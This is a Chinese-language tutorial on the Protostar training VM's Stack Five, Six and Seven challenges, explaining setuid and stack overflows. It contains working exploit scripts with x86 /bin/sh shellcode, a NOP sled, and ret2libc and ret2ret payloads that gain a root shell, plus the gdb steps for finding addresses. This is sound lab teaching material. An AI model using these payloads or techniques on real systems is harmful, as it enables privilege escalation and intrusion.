这是一个系列文章,之前已经介绍过一些二进制安全的基础知识,这里就不过多重复提及,不熟悉的同学可以去看看我之前写的文章
二进制安全虚拟机Protostar靶场 安装,基础知识讲解,破解STACK ZERO
https://blog.csdn.net/qq_45894840/article/details/129490504?spm=1001.2014.3001.5501
二进制安全虚拟机Protostar靶场(2)基础知识讲解,栈溢出覆盖变量 Stack One,Stack Two
https://blog.csdn.net/qq_45894840/article/details/132688653?spm=1001.2014.3001.5501
二进制安全虚拟机Protostar靶场(3)溢出控制程序指针,基础知识讲解 Stack Three,Stack Four
https://blog.csdn.net/qq_45894840/article/details/132720953?spm=1001.2014.3001.5501
https://exploit.education/protostar/stack-five/
#include
#include
#include
#include
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
这个程序很简单,只有两行,作用只是接受我们的输入
什么是setuid?
setuid代表设置用户身份,并且setuid设置调用进程的有效用户ID,用户运行程序的uid与调用进程的真实uid不匹配
这么说起来有点绕,我们来举一个例子
一个要以root权限运行的程序,但我们想让普通用户也能运行它,但又要防止该程序被攻击者利用,这里就需要用的setuid了
演示
我们用user用户运行一个vim
然后新开一个窗口查看后台进程
ps -aux
这里可以看到,我们的vim正在以user的权限运行中,然后我们去执行一下靶机上的setuid文件看看
这里可以看到,我们虽然是user用户,但执行文件后,文件正以root权限运行
我们查看文件的权限
r代表读,w代表写,x代表执行,那s是什么呢
s替换了以x的可执行文件,这被称为setuid位,根据刚刚的操作,应该知道了s是做什么的
当这个位被user权限的用户执行时,linux实际上是以文件的创造者的权限运行的,在这种情况下,它是以root权限运行的
我们的目标就是,破解这些文件然后拿到root权限
可以把栈想象成一个堆积的书本,你可以把新的书本放在最顶部,也可以取出最顶部的书本。
当程序执行时,它会使用栈来跟踪函数调用和变量的值。每次你调用一个函数,计算机会在栈上创建一个新的“帧”(就像书本一样),用来存储这个函数的局部变量和执行时的一些信息。当函数执行完毕时,这个帧会被从栈上移除,就像取出一本书本一样。
栈通常是“后进先出”的,这意味着最后放入栈的数据会最先被取出。这是因为栈的操作是非常快速和高效的,所以它经常用于管理函数调用和跟踪程序执行流程
覆盖 ret 返回地址是一种计算机攻击技巧,攻击者利用它来改变程序执行的路径。这个过程有点像将一个路标或导航指令替换成你自己的指令,以便程序执行到你想要的地方。
想象一下,你在开车时遇到一个交叉路口,路标告诉你向左拐才能到达目的地。但是,攻击者可能会悄悄地改变路标,让你误以为需要向右拐。当你按照这个伪装的路标行驶时,你最终会到达攻击者想要的地方,而不是你本来的目的地。
在计算机中,程序执行的路径通常是通过返回地址控制的,这个返回地址告诉计算机在函数执行完毕后应该继续执行哪里的代码。攻击者可以通过修改这个返回地址,迫使程序跳转到他们指定的地方,通常是一段恶意代码,而不是正常的程序代码
使用gdb打开程序,在执行leave指令的地方下一个断点
运行程序,随便输入一些字符,然后查看栈状态
x/100wx $esp
另外开一个远程连接界面,使用gdb打开程序,在执行ret指令的地方下一个断点
在第二个终端界面运行程序,随便输入一些字符,然后执行ret指令,查看程序跳转的地址
根据计算,我们需要80个字符就能完全覆盖ret的返回地址,然后再将我们的shellcode放到控制数据的堆栈里
NOP指令是一种特殊的机器指令,它在计算机中执行时不做任何操作。简单来说,NOP指令是一种“空操作”,它不改变计算机的状态、不影响寄存器的值,也不执行任何计算或跳转
为了防止我们shellcode收到干扰,我们在shellcode代码前添加一些nop指令即可
import struct
padding = "A" * 76
eip = struct.pack("I",0xbffff7c0)
nopnop = "\x90"*64
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x88"
print padding+eip+nopnop+payload
首先设置一个76位的垃圾字符,然后利用struct模块的pack功能,作用是将一个无符号整数(I 表示无符号整数)转换为二进制数据,跳转到控制数据的栈里,最后写入nop指令和shellcode代码,shellcode代码可以在这个网站里找到
http://shell-storm.org/shellcode/files/shellcode-811.html
这是一个linux x86架构执行/bin/sh的shellcode
如果我们直接运行脚本是得不到/bin/sh的
其实/bin/sh已经执行了,只是没有输入,我们可以用cat命令来重定向到标准输入输出
(python stack5exp.py ; cat) | /opt/protostar/bin/stack5
成功破解程序
Stack Six和Stack Seven的源代码是一样的,可以通过ret to libc的方式获取shell
#include
#include
#include
#include
void getpath() //定义一个名为getpath的函数
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout); //输出字符串input path please:
gets(buffer); //获取用户输入,将输入存储到buffer函数变量里
ret = __builtin_return_address(0); //获取ret返回的内存地址
if((ret & 0xbf000000) == 0xbf000000) { //如果内存地址的前两位是0xbf
printf("bzzzt (%p)\n", ret); //输出bzzzt
_exit(1);
}
printf("got path %s\n", buffer); //输出got path
}
int main(int argc, char **argv) //主函数
{
getpath(); //调用getpath函数
}
ret to libc是将程序的返回地址覆盖为标准 C 库中的某个函数的地址,如 “system” 函数,这个函数可以用来执行系统命令。然后,攻击者构造一个有效的参数,比如"/bin/sh",将其传递给 “system” 函数,从而获取shell
用gdb打开程序,在getpath函数执行leave指令的地址打一个断点
disassemble getpath
b *0x080484f8
运行程序后随意输入一些字符串,让后寻找system函数的地址
r
p system
system函数地址为:0xb7ecffb0,找到了system函数地址,现在我们就要找让system函数执行命令的字符串,为了获取shell,我们寻找"/bin/sh"字符串
内存映射是一种操作系统和计算机体系结构中常见的技术,用于将文件或其他设备的内容映射到进程的地址空间,使得进程可以像访问内存一样访问这些内容
在编译程序时,我们要调用函数,为了缩小程序大小,我们通常会动态编译文件,程序调用函数时,就会到指定的libc库里查找并执行
执行i proc mappings查看程序内存映射
stack6的libc库为:/lib/libc-2.11.2.so,libc的基地址为:0xb7e97000
现在新开一个终端,在libc库里查找/bin/sh字符串的地址
strings -t d /lib/libc-2.11.2.so | grep "/bin/sh"
字符串/bin/sh的偏移地址为:1176511,libc的基地址+字符串的偏移地址=程序调用字符串的完整地址
查看main函数代码
disassemble main
程序调用了getpath函数后,会返回0x08048505继续执行下一个指令,重新运行程序,随便输入一些字符,然后查看栈状态
我们输入的字符串离0x08048505有80个字节,在0x08048505上面还有一个0x08048505,那个只是普通的值,在程序返回main函数时,还会调用其他的系统函数,所以下一个才是getpath函数ret main函数的值
现在我们可以写一个脚本来破解程序
import struct
buffer = "A"*80 //覆盖到ret地址的函数
system = struct.pack("I",0xb7ecffb0) //system地址
ret = "AAAA" //在执行system函数时,会调用一个返回地址,这里随意输入一些字符,下图解释
shellcode = struct.pack("I",0xb7e97000+1176511) ///bin/sh字符串地址
payload = buffer +system+ ret + shellcode
print payload
在执行system函数时,会调用一个返回地址,可以随意输入一些字符,然后就会执行"/bin/sh"字符串
执行程序,成功获得root权限
Stack Seven和Stack Six的程序源代码很像,只是修改了一下判断的值
#include
#include
#include
#include
void getpath() //定义一个名为getpath的函数
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout); //输出字符串input path please:
gets(buffer); //获取用户输入,将输入存储到buffer函数变量里
ret = __builtin_return_address(0); //获取ret返回的内存地址
if((ret & 0xb0000000) == 0xb0000000) { //如果内存地址的前一位是0xb
printf("bzzzt (%p)\n", ret); //输出bzzzt
_exit(1);
}
printf("got path %s\n", buffer); //输出got path
}
int main(int argc, char **argv) //主函数
{
getpath(); //调用getpath函数
}
我们只需要多加一个ret指令的地址,让程序返回到我们指定的地方执行system函数和/bin/sh字符串
我们可以使用objdump工具来寻找ret指令的地址
objdump -D stack7 | grep ret
这里有很多ret指令的地址,我们随便选一个即可开始写脚本
脚本和stack six一样,只需要添加一个ret指令地址即可
import struct
buffer = "A"*80
ret_addr = struct.pack("I", 0x8048383)
system = struct.pack("I",0xb7ecffb0)
ret = "AAAA"
shellcode = struct.pack("I",0xb7e97000+1176511)
payload = buffer + ret_addr +system+ ret + shellcode
print payload
成功获得root权限